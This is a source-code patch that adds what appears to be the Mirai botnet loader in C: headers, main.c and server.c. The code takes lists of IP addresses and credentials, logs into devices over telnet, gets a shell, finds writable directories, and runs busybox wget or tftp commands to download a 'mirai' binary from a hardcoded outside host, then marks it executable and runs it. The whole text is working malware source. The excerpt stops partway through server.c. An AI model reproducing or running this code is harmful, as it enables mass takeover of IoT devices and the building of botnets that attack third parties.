|
||||
|
||||
int connection_consume_iacs(struct connection *conn);
|
||||
int connection_consume_login_prompt(struct connection *conn);
|
||||
int connection_consume_password_prompt(struct connection *conn);
|
||||
int connection_consume_prompt(struct connection *conn);
|
||||
int connection_consume_verify_login(struct connection *conn);
|
||||
int connection_consume_psoutput(struct connection *conn);
|
||||
int connection_consume_mounts(struct connection *conn);
|
||||
int connection_consume_written_dirs(struct connection *conn);
|
||||
int connection_consume_copy_op(struct connection *conn);
|
||||
int connection_consume_arch(struct connection *conn);
|
||||
int connection_consume_arm_subtype(struct connection *conn);
|
||||
int connection_consume_upload_methods(struct connection *conn);
|
||||
int connection_upload_echo(struct connection *conn);
|
||||
int connection_upload_wget(struct connection *conn);
|
||||
int connection_upload_tftp(struct connection *conn);
|
||||
int connection_verify_payload(struct connection *conn);
|
||||
int connection_consume_cleanup(struct connection *conn);
|
||||
|
||||
static BOOL can_consume(struct connection *conn, uint8_t *ptr, int amount);
|
36
loader/src/headers/includes.h
Executable file
36
loader/src/headers/includes.h
Executable file
@ -0,0 +1,36 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#define STDIN 0
|
||||
#define STDOUT 1
|
||||
#define STDERR 2
|
||||
|
||||
#define FALSE 0
|
||||
#define TRUE 1
|
||||
typedef char BOOL;
|
||||
|
||||
typedef uint32_t ipv4_t;
|
||||
typedef uint16_t port_t;
|
||||
|
||||
#define LOADER_LITTLE_ENDIAN
|
||||
|
||||
#define ATOMIC_ADD(ptr,i) __sync_fetch_and_add((ptr),i)
|
||||
#define ATOMIC_SUB(ptr,i) __sync_fetch_and_sub((ptr),i)
|
||||
#define ATOMIC_INC(ptr) ATOMIC_ADD((ptr),1)
|
||||
#define ATOMIC_DEC(ptr) ATOMIC_SUB((ptr),1)
|
||||
#define ATOMIC_GET(ptr) ATOMIC_ADD((ptr),0)
|
||||
|
||||
#define VERIFY_STRING_HEX "\\x6b\\x61\\x6d\\x69"
|
||||
#define VERIFY_STRING_CHECK "kami"
|
||||
|
||||
#define TOKEN_QUERY "/bin/busybox ECCHI"
|
||||
#define TOKEN_RESPONSE "ECCHI: applet not found"
|
||||
|
||||
#define EXEC_QUERY "/bin/busybox IHCCE"
|
||||
#define EXEC_RESPONSE "IHCCE: applet not found"
|
||||
|
||||
#define FN_DROPPER "upnp"
|
||||
#define FN_BINARY "dvrHelper"
|
||||
|
||||
extern char *id_tag;
|
38
loader/src/headers/server.h
Executable file
38
loader/src/headers/server.h
Executable file
@ -0,0 +1,38 @@
|
||||
#pragma once
|
||||
|
||||
#include <sys/epoll.h>
|
||||
#include "includes.h"
|
||||
#include "telnet_info.h"
|
||||
#include "connection.h"
|
||||
|
||||
struct server {
|
||||
uint32_t max_open;
|
||||
volatile uint32_t curr_open;
|
||||
volatile uint32_t total_input, total_logins, total_echoes, total_wgets, total_tftps, total_successes, total_failures;
|
||||
char *wget_host_ip, *tftp_host_ip;
|
||||
struct server_worker *workers;
|
||||
struct connection **estab_conns;
|
||||
ipv4_t *bind_addrs;
|
||||
pthread_t to_thrd;
|
||||
port_t wget_host_port;
|
||||
uint8_t workers_len, bind_addrs_len;
|
||||
int curr_worker_child;
|
||||
};
|
||||
|
||||
struct server_worker {
|
||||
struct server *srv;
|
||||
int efd; // We create a separate epoll context per thread so thread safety isn't our problem
|
||||
pthread_t thread;
|
||||
uint8_t thread_id;
|
||||
};
|
||||
|
||||
struct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip);
|
||||
void server_destroy(struct server *srv);
|
||||
void server_queue_telnet(struct server *srv, struct telnet_info *info);
|
||||
void server_telnet_probe(struct server *srv, struct telnet_info *info);
|
||||
|
||||
static void bind_core(int core);
|
||||
static void *worker(void *arg);
|
||||
static void handle_output_buffers(struct server_worker *);
|
||||
static void handle_event(struct server_worker *wrker, struct epoll_event *ev);
|
||||
static void *timeout_thread(void *);
|
18
loader/src/headers/telnet_info.h
Executable file
18
loader/src/headers/telnet_info.h
Executable file
@ -0,0 +1,18 @@
|
||||
#pragma once
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
struct telnet_info {
|
||||
char user[32], pass[32], arch[6], writedir[32];
|
||||
ipv4_t addr;
|
||||
port_t port;
|
||||
enum {
|
||||
UPLOAD_ECHO,
|
||||
UPLOAD_WGET,
|
||||
UPLOAD_TFTP
|
||||
} upload_method;
|
||||
BOOL has_auth, has_arch;
|
||||
};
|
||||
|
||||
struct telnet_info *telnet_info_new(char *user, char *pass, char *arch, ipv4_t addr, port_t port, struct telnet_info *info);
|
||||
struct telnet_info *telnet_info_parse(char *str, struct telnet_info *out);
|
72
loader/src/headers/util.h
Executable file
72
loader/src/headers/util.h
Executable file
@ -0,0 +1,72 @@
|
||||
#pragma once
|
||||
|
||||
#include "server.h"
|
||||
#include "includes.h"
|
||||
|
||||
#define BUFFER_SIZE 4096
|
||||
|
||||
#define EI_NIDENT 16 // Side of e_ident in elf header
|
||||
#define EI_DATA 5 // Offset endianness in e_ident
|
||||
|
||||
#define EE_NONE 0 // No endianness ????
|
||||
#define EE_LITTLE 1 // Little endian
|
||||
#define EE_BIG 2 // Big endian
|
||||
|
||||
#define ET_NOFILE 0 // None
|
||||
#define ET_REL 1 // Relocatable file
|
||||
#define ET_EXEC 2 // Executable file
|
||||
#define ET_DYN 3 // Shared object file
|
||||
#define ET_CORE 4 // Core file
|
||||
|
||||
/* These constants define the various ELF target machines */
|
||||
#define EM_NONE 0
|
||||
#define EM_M32 1
|
||||
#define EM_SPARC 2
|
||||
#define EM_386 3
|
||||
#define EM_68K 4 // m68k
|
||||
#define EM_88K 5 // m68k
|
||||
#define EM_486 6 // x86
|
||||
#define EM_860 7 // Unknown
|
||||
#define EM_MIPS 8 /* MIPS R3000 (officially, big-endian only) */
|
||||
/* Next two are historical and binaries and
|
||||
modules of these types will be rejected by
|
||||
Linux. */
|
||||
#define EM_MIPS_RS3_LE 10 /* MIPS R3000 little-endian */
|
||||
#define EM_MIPS_RS4_BE 10 /* MIPS R4000 big-endian */
|
||||
|
||||
#define EM_PARISC 15 /* HPPA */
|
||||
#define EM_SPARC32PLUS 18 /* Sun's "v8plus" */
|
||||
#define EM_PPC 20 /* PowerPC */
|
||||
#define EM_PPC64 21 /* PowerPC64 */
|
||||
#define EM_SPU 23 /* Cell BE SPU */
|
||||
#define EM_ARM 40 /* ARM 32 bit */
|
||||
#define EM_SH 42 /* SuperH */
|
||||
#define EM_SPARCV9 43 /* SPARC v9 64-bit */
|
||||
#define EM_H8_300 46 /* Renesas H8/300 */
|
||||
#define EM_IA_64 50 /* HP/Intel IA-64 */
|
||||
#define EM_X86_64 62 /* AMD x86-64 */
|
||||
#define EM_S390 22 /* IBM S/390 */
|
||||
#define EM_CRIS 76 /* Axis Communications 32-bit embedded processor */
|
||||
#define EM_M32R 88 /* Renesas M32R */
|
||||
#define EM_MN10300 89 /* Panasonic/MEI MN10300, AM33 */
|
||||
#define EM_OPENRISC 92 /* OpenRISC 32-bit embedded processor */
|
||||
#define EM_BLACKFIN 106 /* ADI Blackfin Processor */
|
||||
#define EM_ALTERA_NIOS2 113 /* Altera Nios II soft-core processor */
|
||||
#define EM_TI_C6000 140 /* TI C6X DSPs */
|
||||
#define EM_AARCH64 183 /* ARM 64 bit */
|
||||
#define EM_TILEPRO 188 /* Tilera TILEPro */
|
||||
#define EM_MICROBLAZE 189 /* Xilinx MicroBlaze */
|
||||
#define EM_TILEGX 191 /* Tilera TILE-Gx */
|
||||
#define EM_FRV 0x5441 /* Fujitsu FR-V */
|
||||
#define EM_AVR32 0x18ad /* Atmel AVR32 */
|
||||
|
||||
struct elf_hdr {
|
||||
uint8_t e_ident[EI_NIDENT];
|
||||
uint16_t e_type, e_machine;
|
||||
uint32_t e_version;
|
||||
} __attribute__((packed));
|
||||
|
||||
int util_socket_and_bind(struct server *srv);
|
||||
int util_memsearch(char *buf, int buf_len, char *mem, int mem_len);
|
||||
BOOL util_sockprintf(int fd, const char *fmt, ...);
|
||||
char *util_trim(char *str);
|
115
loader/src/main.c
Executable file
115
loader/src/main.c
Executable file
@ -0,0 +1,115 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/socket.h>
|
||||
#include <errno.h>
|
||||
#include "headers/includes.h"
|
||||
#include "headers/server.h"
|
||||
#include "headers/telnet_info.h"
|
||||
#include "headers/binary.h"
|
||||
#include "headers/util.h"
|
||||
|
||||
static void *stats_thread(void *);
|
||||
|
||||
static struct server *srv;
|
||||
|
||||
char *id_tag = "telnet";
|
||||
|
||||
int main(int argc, char **args)
|
||||
{
|
||||
pthread_t stats_thrd;
|
||||
uint8_t addrs_len;
|
||||
ipv4_t *addrs;
|
||||
uint32_t total = 0;
|
||||
struct telnet_info info;
|
||||
|
||||
#ifdef DEBUG
|
||||
addrs_len = 1;
|
||||
addrs = calloc(4, sizeof (ipv4_t));
|
||||
addrs[0] = inet_addr("0.0.0.0");
|
||||
#else
|
||||
addrs_len = 2;
|
||||
addrs = calloc(addrs_len, sizeof (ipv4_t));
|
||||
|
||||
addrs[0] = inet_addr("192.168.0.1"); // Address to bind to
|
||||
addrs[1] = inet_addr("192.168.1.1"); // Address to bind to
|
||||
#endif
|
||||
|
||||
if (argc == 2)
|
||||
{
|
||||
id_tag = args[1];
|
||||
}
|
||||
|
||||
if (!binary_init())
|
||||
{
|
||||
printf("Failed to load bins/dlr.* as dropper\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* wget address tftp address */
|
||||
if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "100.200.100.100", 80, "100.200.100.100")) == NULL)
|
||||
{
|
||||
printf("Failed to initialize server. Aborting\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
pthread_create(&stats_thrd, NULL, stats_thread, NULL);
|
||||
|
||||
// Read from stdin
|
||||
while (TRUE)
|
||||
{
|
||||
char strbuf[1024];
|
||||
|
||||
if (fgets(strbuf, sizeof (strbuf), stdin) == NULL)
|
||||
break;
|
||||
|
||||
util_trim(strbuf);
|
||||
|
||||
if (strlen(strbuf) == 0)
|
||||
{
|
||||
usleep(10000);
|
||||
continue;
|
||||
}
|
||||
|
||||
memset(&info, 0, sizeof(struct telnet_info));
|
||||
if (telnet_info_parse(strbuf, &info) == NULL)
|
||||
printf("Failed to parse telnet info: \"%s\" Format -> ip:port user:pass arch\n", strbuf);
|
||||
else
|
||||
{
|
||||
if (srv == NULL)
|
||||
printf("srv == NULL 2\n");
|
||||
|
||||
server_queue_telnet(srv, &info);
|
||||
if (total++ % 1000 == 0)
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
ATOMIC_INC(&srv->total_input);
|
||||
}
|
||||
|
||||
printf("Hit end of input.\n");
|
||||
|
||||
while(ATOMIC_GET(&srv->curr_open) > 0)
|
||||
sleep(1);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void *stats_thread(void *arg)
|
||||
{
|
||||
uint32_t seconds = 0;
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
#ifndef DEBUG
|
||||
printf("%ds\tProcessed: %d\tConns: %d\tLogins: %d\tRan: %d\tEchoes:%d Wgets: %d, TFTPs: %d\n",
|
||||
seconds++, ATOMIC_GET(&srv->total_input), ATOMIC_GET(&srv->curr_open), ATOMIC_GET(&srv->total_logins), ATOMIC_GET(&srv->total_successes),
|
||||
ATOMIC_GET(&srv->total_echoes), ATOMIC_GET(&srv->total_wgets), ATOMIC_GET(&srv->total_tftps));
|
||||
#endif
|
||||
fflush(stdout);
|
||||
sleep(1);
|
||||
}
|
||||
}
|
640
loader/src/server.c
Executable file
640
loader/src/server.c
Executable file
@ -0,0 +1,640 @@
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/epoll.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <string.h>
|
||||
#include <sched.h>
|
||||
#include <errno.h>
|
||||
#include "headers/includes.h"
|
||||
#include "headers/server.h"
|
||||
#include "headers/telnet_info.h"
|
||||
#include "headers/connection.h"
|
||||
#include "headers/binary.h"
|
||||
#include "headers/util.h"
|
||||
|
||||
struct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip)
|
||||
{
|
||||
struct server *srv = calloc(1, sizeof (struct server));
|
||||
struct server_worker *workers = calloc(threads, sizeof (struct server_worker));
|
||||
int i;
|
||||
|
||||
// Fill out the structure
|
||||
srv->bind_addrs_len = addr_len;
|
||||
srv->bind_addrs = addrs;
|
||||
srv->max_open = max_open;
|
||||
srv->wget_host_ip = wghip;
|
||||
srv->wget_host_port = wghp;
|
||||
srv->tftp_host_ip = thip;
|
||||
srv->estab_conns = calloc(max_open * 2, sizeof (struct connection *));
|
||||
srv->workers = calloc(threads, sizeof (struct server_worker));
|
||||
srv->workers_len = threads;
|
||||
|
||||
if (srv->estab_conns == NULL)
|
||||
{
|
||||
printf("Failed to allocate establisted_connections array\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
// Allocate locks internally
|
||||
for (i = 0; i < max_open * 2; i++)
|
||||
{
|
||||
srv->estab_conns[i] = calloc(1, sizeof (struct connection));
|
||||
if (srv->estab_conns[i] == NULL)
|
||||
{
|
||||
printf("Failed to allocate connection %d\n", i);
|
||||
exit(-1);
|
||||
}
|
||||
pthread_mutex_init(&(srv->estab_conns[i]->lock), NULL);
|
||||
}
|
||||
|
||||
// Create worker threads
|
||||
for (i = 0; i < threads; i++)
|
||||
{
|
||||
struct server_worker *wrker = &srv->workers[i];
|
||||
|
||||
wrker->srv = srv;
|
||||
wrker->thread_id = i;
|
||||
|
||||
if ((wrker->efd = epoll_create1(0)) == -1)
|
||||
{
|
||||
printf("Failed to initialize epoll context. Error code %d\n", errno);
|
||||
free(srv->workers);
|
||||
free(srv);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pthread_create(&wrker->thread, NULL, worker, wrker);
|
||||
}
|
||||
|
||||
pthread_create(&srv->to_thrd, NULL, timeout_thread, srv);
|
||||
|
||||
return srv;
|
||||
}
|
||||
|
||||
void server_destroy(struct server *srv)
|
||||
{
|
||||
if (srv == NULL)
|
||||
return;
|
||||
if (srv->bind_addrs != NULL)
|
||||
free(srv->bind_addrs);
|
||||
if (srv->workers != NULL)
|
||||
free(srv->workers);
|
||||
free(srv);
|
||||
}
|
||||
|
||||
void server_queue_telnet(struct server *srv, struct telnet_info *info)
|
||||
{
|
||||
while (ATOMIC_GET(&srv->curr_open) >= srv->max_open)
|
||||
{
|
||||
sleep(1);
|
||||
}
|
||||
ATOMIC_INC(&srv->curr_open);
|
||||
|
||||
if (srv == NULL)
|
||||
printf("srv == NULL 3\n");
|
||||
|
||||
server_telnet_probe(srv, info);
|
||||
}
|
||||
|
||||
void server_telnet_probe(struct server *srv, struct telnet_info *info)
|
||||
{
|
||||
int fd = util_socket_and_bind(srv);
|
||||
struct sockaddr_in addr;
|
||||
struct connection *conn;
|
||||
struct epoll_event event;
|
||||
int ret;
|
||||
struct server_worker *wrker = &srv->workers[ATOMIC_INC(&srv->curr_worker_child) % srv->workers_len];
|
||||
|
||||
if (fd == -1)
|
||||
{
|
||||
if (time(NULL) % 10 == 0)
|
||||
{
|
||||
printf("Failed to open and bind socket\n");
|
||||
}
|
||||
ATOMIC_DEC(&srv->curr_open);
|
||||
return;
|
||||
}
|
||||
while (fd >= (srv->max_open * 2))
|
||||
{
|
||||
printf("fd too big\n");
|
||||
conn->fd = fd;
|
||||
#ifdef DEBUG
|
||||
printf("Can't utilize socket because client buf is not large enough\n");
|
||||
#endif
|
||||
connection_close(conn);
|
||||
return;
|
||||
}
|
||||
|
||||
if (srv == NULL)
|
||||
printf("srv == NULL 4\n");
|
||||
|
||||
conn = srv->estab_conns[fd];
|
||||
memcpy(&conn->info, info, sizeof (struct telnet_info));
|
||||
conn->srv = srv;
|
||||
conn->fd = fd;
|
||||
connection_open(conn);
|
||||
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_addr.s_addr = info->addr;
|
||||
addr.sin_port = info->port;
|
||||
ret = connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
|
||||
if (ret == -1 && errno != EINPROGRESS)
|
||||
{
|
||||
printf("got connect error\n");
|
||||
}
|
||||
|
||||
event.data.fd = fd;
|
||||
event.events = EPOLLOUT;
|
||||
epoll_ctl(wrker->efd, EPOLL_CTL_ADD, fd, &event);
|
||||
}
|
||||
|
||||
static void bind_core(int core)
|
||||
{
|
||||
pthread_t tid = pthread_self();
|
||||
cpu_set_t cpuset;
|
||||
CPU_ZERO(&cpuset);
|
||||
CPU_SET(core, &cpuset);
|
||||
if (pthread_setaffinity_np(tid, sizeof (cpu_set_t), &cpuset) != 0)
|
||||
printf("Failed to bind to core %d\n", core);
|
||||
}
|
||||
|
||||
static void *worker(void *arg)
|
||||
{
|
||||
struct server_worker *wrker = (struct server_worker *)arg;
|
||||
struct epoll_event events[128];
|
||||
|
||||
bind_core(wrker->thread_id);
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
int i, n = epoll_wait(wrker->efd, events, 127, -1);
|
||||
|
||||
if (n == -1)
|
||||
perror("epoll_wait");
|
||||
|
||||
for (i = 0; i < n; i++)
|
||||
handle_event(wrker, &events[i]);
|
||||
}
|
||||
}
|
||||
|
||||
static void handle_event(struct server_worker *wrker, struct epoll_event *ev)
|
||||
{
|
||||
struct connection *conn = wrker->srv->estab_conns[ev->data.fd];
|
||||
|
||||
if (conn->fd == -1)
|
||||
{
|
||||
conn->fd = ev->data.fd;
|
||||
connection_close(conn);
|
||||
return;
|
||||
}
|
||||
|
||||
if (conn->fd != ev->data.fd)
|
||||
{
|
||||
printf("yo socket mismatch\n");
|
||||
}
|
||||
|
||||
// Check if there was an error
|
||||
if (ev->events & EPOLLERR || ev->events & EPOLLHUP || ev->events & EPOLLRDHUP)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
if (conn->open)
|
||||
printf("[FD%d] Encountered an error and must shut down\n", ev->data.fd);
|
||||
#endif
|
||||
connection_close(conn);
|
||||
return;
|
||||
}
|
||||
|
||||
// Are we ready to write?
|
||||
if (conn->state_telnet == TELNET_CONNECTING && ev->events & EPOLLOUT)
|
||||
{
|
||||
struct epoll_event event;
|
||||
|
||||
int so_error = 0;
|
||||
socklen_t len = sizeof(so_error);
|
||||
getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &so_error, &len);
|
||||
if (so_error)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Connection refused\n", ev->data.fd);
|
||||
#endif
|
||||
connection_close(conn);
|
||||
return;
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Established connection\n", ev->data.fd);
|
||||
#endif
|
||||
event.data.fd = conn->fd;
|
||||
event.events = EPOLLIN | EPOLLET;
|
||||
epoll_ctl(wrker->efd, EPOLL_CTL_MOD, conn->fd, &event);
|
||||
conn->state_telnet = TELNET_READ_IACS;
|
||||
conn->timeout = 30;
|
||||
}
|
||||
|
||||
if (!conn->open)
|
||||
{
|
||||
printf("socket not open! conn->fd: %d, fd: %d, events: %08x, state: %08x\n", conn->fd, ev->data.fd, ev->events, conn->state_telnet);
|
||||
}
|
||||
|
||||
// Is there data to read?
|
||||
if (ev->events & EPOLLIN && conn->open)
|
||||
{
|
||||
int ret;
|
||||
|
||||
conn->last_recv = time(NULL);
|
||||
while (TRUE)
|
||||
{
|
||||
ret = recv(conn->fd, conn->rdbuf + conn->rdbuf_pos, sizeof (conn->rdbuf) - conn->rdbuf_pos, MSG_NOSIGNAL);
|
||||
if (ret <= 0)
|
||||
{
|
||||
if (errno != EAGAIN && errno != EWOULDBLOCK)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
if (conn->open)
|
||||
printf("[FD%d] Encountered error %d. Closing\n", ev->data.fd, errno);
|
||||
#endif
|
||||
connection_close(conn);
|
||||
}
|
||||
break;
|
||||
}
|
||||
#ifdef DEBUG
|
||||
printf("TELIN: %.*s\n", ret, conn->rdbuf + conn->rdbuf_pos);
|
||||
#endif
|
||||
conn->rdbuf_pos += ret;
|
||||
conn->last_recv = time(NULL);
|
||||
|
||||
if (conn->rdbuf_pos > 8196)
|
||||
{
|
||||
printf("oversized buffer pointer!\n");
|
||||
abort();
|
||||
}
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
int consumed;
|
||||
|
||||
switch (conn->state_telnet)
|
||||
{
|
||||
case TELNET_READ_IACS:
|
||||
consumed = connection_consume_iacs(conn);
|
||||
if (consumed)
|
||||
conn->state_telnet = TELNET_USER_PROMPT;
|
||||
break;
|
||||
case TELNET_USER_PROMPT:
|
||||
consumed = connection_consume_login_prompt(conn);
|
||||
if (consumed)
|
||||
{
|
||||
util_sockprintf(conn->fd, "%s", conn->info.user);
|
||||
strcpy(conn->output_buffer.data, "\r\n");
|
||||
conn->output_buffer.deadline = time(NULL) + 1;
|
||||
conn->state_telnet = TELNET_PASS_PROMPT;
|
||||
}
|
||||
break;
|
||||
case TELNET_PASS_PROMPT:
|
||||
consumed = connection_consume_password_prompt(conn);
|
||||
if (consumed)
|
||||
{
|
||||
util_sockprintf(conn->fd, "%s", conn->info.pass);
|
||||
strcpy(conn->output_buffer.data, "\r\n");
|
||||
conn->output_buffer.deadline = time(NULL) + 1;
|
||||
conn->state_telnet = TELNET_WAITPASS_PROMPT; // At the very least it will print SOMETHING
|
||||
}
|
||||
break;
|
||||
case TELNET_WAITPASS_PROMPT:
|
||||
if ((consumed = connection_consume_prompt(conn)) > 0)
|
||||
{
|
||||
util_sockprintf(conn->fd, "enable\r\n");
|
||||
util_sockprintf(conn->fd, "shell\r\n");
|
||||
util_sockprintf(conn->fd, "sh\r\n");
|
||||
conn->state_telnet = TELNET_CHECK_LOGIN;
|
||||
}
|
||||
break;
|
||||
case TELNET_CHECK_LOGIN:
|
||||
if ((consumed = connection_consume_prompt(conn)) > 0)
|
||||
{
|
||||
util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
|
||||
conn->state_telnet = TELNET_VERIFY_LOGIN;
|
||||
}
|
||||
break;
|
||||
case TELNET_VERIFY_LOGIN:
|
||||
consumed = connection_consume_verify_login(conn);
|
||||
if (consumed)
|
||||
{
|
||||
ATOMIC_INC(&wrker->srv->total_logins);
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Succesfully logged in\n", ev->data.fd);
|
||||
#endif
|
||||
util_sockprintf(conn->fd, "/bin/busybox ps; " TOKEN_QUERY "\r\n");
|
||||
conn->state_telnet = TELNET_PARSE_PS;
|
||||
}
|
||||
break;
|
||||
case TELNET_PARSE_PS:
|
||||
if ((consumed = connection_consume_psoutput(conn)) > 0)
|
||||
{
|
||||
util_sockprintf(conn->fd, "/bin/busybox cat /proc/mounts; " TOKEN_QUERY "\r\n");
|
||||
conn->state_telnet = TELNET_PARSE_MOUNTS;
|
||||
}
|
||||
break;
|
||||
case TELNET_PARSE_MOUNTS:
|
||||
consumed = connection_consume_mounts(conn);
|
||||
if (consumed)
|
||||
conn->state_telnet = TELNET_READ_WRITEABLE;
|
||||
break;
|
||||
case TELNET_READ_WRITEABLE:
|
||||
consumed = connection_consume_written_dirs(conn);
|
||||
if (consumed)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Found writeable directory: %s/\n", ev->data.fd, conn->info.writedir);
|
||||
#endif
|
||||
util_sockprintf(conn->fd, "cd %s/\r\n", conn->info.writedir, conn->info.writedir);
|
||||
util_sockprintf(conn->fd, "/bin/busybox cp /bin/echo " FN_BINARY "; >" FN_BINARY "; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n");
|
||||
conn->state_telnet = TELNET_COPY_ECHO;
|
||||
conn->timeout = 120;
|
||||
}
|
||||
break;
|
||||
case TELNET_COPY_ECHO:
|
||||
consumed = connection_consume_copy_op(conn);
|
||||
if (consumed)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Finished copying /bin/echo to cwd\n", conn->fd);
|
||||
#endif
|
||||
if (!conn->info.has_arch)
|
||||
{
|
||||
conn->state_telnet = TELNET_DETECT_ARCH;
|
||||
conn->timeout = 120;
|
||||
// DO NOT COMBINE THESE
|
||||
util_sockprintf(conn->fd, "/bin/busybox cat /bin/echo\r\n");
|
||||
util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
|
||||
}
|
||||
else
|
||||
{
|
||||
conn->state_telnet = TELNET_UPLOAD_METHODS;
|
||||
conn->timeout = 15;
|
||||
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
|
||||
}
|
||||
}
|
||||
break;
|
||||
case TELNET_DETECT_ARCH:
|
||||
consumed = connection_consume_arch(conn);
|
||||
if (consumed)
|
||||
{
|
||||
conn->timeout = 15;
|
||||
if ((conn->bin = binary_get_by_arch(conn->info.arch)) == NULL)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Cannot determine architecture\n", conn->fd);
|
||||
#endif
|
||||
connection_close(conn);
|
||||
}
|
||||
else if (strcmp(conn->info.arch, "arm") == 0)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Determining ARM sub-type\n", conn->fd);
|
||||
#endif
|
||||
util_sockprintf(conn->fd, "cat /proc/cpuinfo; " TOKEN_QUERY "\r\n");
|
||||
conn->state_telnet = TELNET_ARM_SUBTYPE;
|
||||
}
|
||||
else
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Detected architecture: '%s'\n", ev->data.fd, conn->info.arch);
|
||||
#endif
|
||||
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
|
||||
conn->state_telnet = TELNET_UPLOAD_METHODS;
|
||||
}
|
||||
}
|
||||
break;
|
||||
case TELNET_ARM_SUBTYPE:
|
||||
if ((consumed = connection_consume_arm_subtype(conn)) > 0)
|
||||
{
|
||||
struct binary *bin = binary_get_by_arch(conn->info.arch);
|
||||
|
||||
if (bin == NULL)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] We do not have an ARMv7 binary, so we will try using default ARM\n", conn->fd);
|
||||
#endif
|
||||
}
|
||||
else
|
||||
conn->bin = bin;
|
||||
|
||||
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
|
||||
conn->state_telnet = TELNET_UPLOAD_METHODS;
|
||||
}
|
||||
break;
|
||||
case TELNET_UPLOAD_METHODS:
|
||||
consumed = connection_consume_upload_methods(conn);
|
||||
|
||||
if (consumed)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Upload method is ", conn->fd);
|
||||
#endif
|
||||
switch (conn->info.upload_method)
|
||||
{
|
||||
case UPLOAD_ECHO:
|
||||
conn->state_telnet = TELNET_UPLOAD_ECHO;
|
||||
conn->timeout = 30;
|
||||
util_sockprintf(conn->fd, "/bin/busybox cp "FN_BINARY " " FN_DROPPER "; > " FN_DROPPER "; /bin/busybox chmod 777 " FN_DROPPER "; " TOKEN_QUERY "\r\n");
|
||||
#ifdef DEBUG
|
||||
printf("echo\n");
|
||||
#endif
|
||||
break;
|
||||
case UPLOAD_WGET:
|
||||
conn->state_telnet = TELNET_UPLOAD_WGET;
|
||||
conn->timeout = 120;
|
||||
util_sockprintf(conn->fd, "/bin/busybox wget http://%s:%d/bins/%s.%s -O - > "FN_BINARY "; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n",
|
||||
wrker->srv->wget_host_ip, wrker->srv->wget_host_port, "mirai", conn->info.arch);
|
||||
#ifdef DEBUG
|
||||
printf("wget\n");
|
||||
#endif
|
||||
break;
|
||||
case UPLOAD_TFTP:
|
||||
conn->state_telnet = TELNET_UPLOAD_TFTP;
|
||||
conn->timeout = 120;
|
||||
util_sockprintf(conn->fd, "/bin/busybox tftp -g -l %s -r %s.%s %s; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n",
|
||||
FN_BINARY, "mirai", conn->info.arch, wrker->srv->tftp_host_ip);
|
||||
#ifdef DEBUG
|
||||
printf("tftp\n");
|
||||
#endif
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
case TELNET_UPLOAD_ECHO:
|
||||
consumed = connection_upload_echo(conn);
|
||||
if (consumed)
|
||||
{
|
||||
conn->state_telnet = TELNET_RUN_BINARY;
|
||||
conn->timeout = 30;
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Finished echo loading!\n", conn->fd);
|
||||
#endif
|
||||
util_sockprintf(conn->fd, "./%s; ./%s %s.%s; " EXEC_QUERY "\r\n", FN_DROPPER, FN_BINARY, id_tag, conn->info.arch);
|
||||
ATOMIC_INC(&wrker->srv->total_echoes);
|
||||
}
|
||||
break;
|
||||
case TELNET_UPLOAD_WGET:
|
||||
consumed = connection_upload_wget(conn);
|
||||
if (consumed)
|
||||
{
|
||||
conn->state_telnet = TELNET_RUN_BINARY;
|
||||
conn->timeout = 30;
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Finished wget loading\n", conn->fd);
|
||||
#endif
|
||||
util_sockprintf(conn->fd, "./" FN_BINARY " %s.%s; " EXEC_QUERY "\r\n", id_tag, conn->info.arch);
|
||||
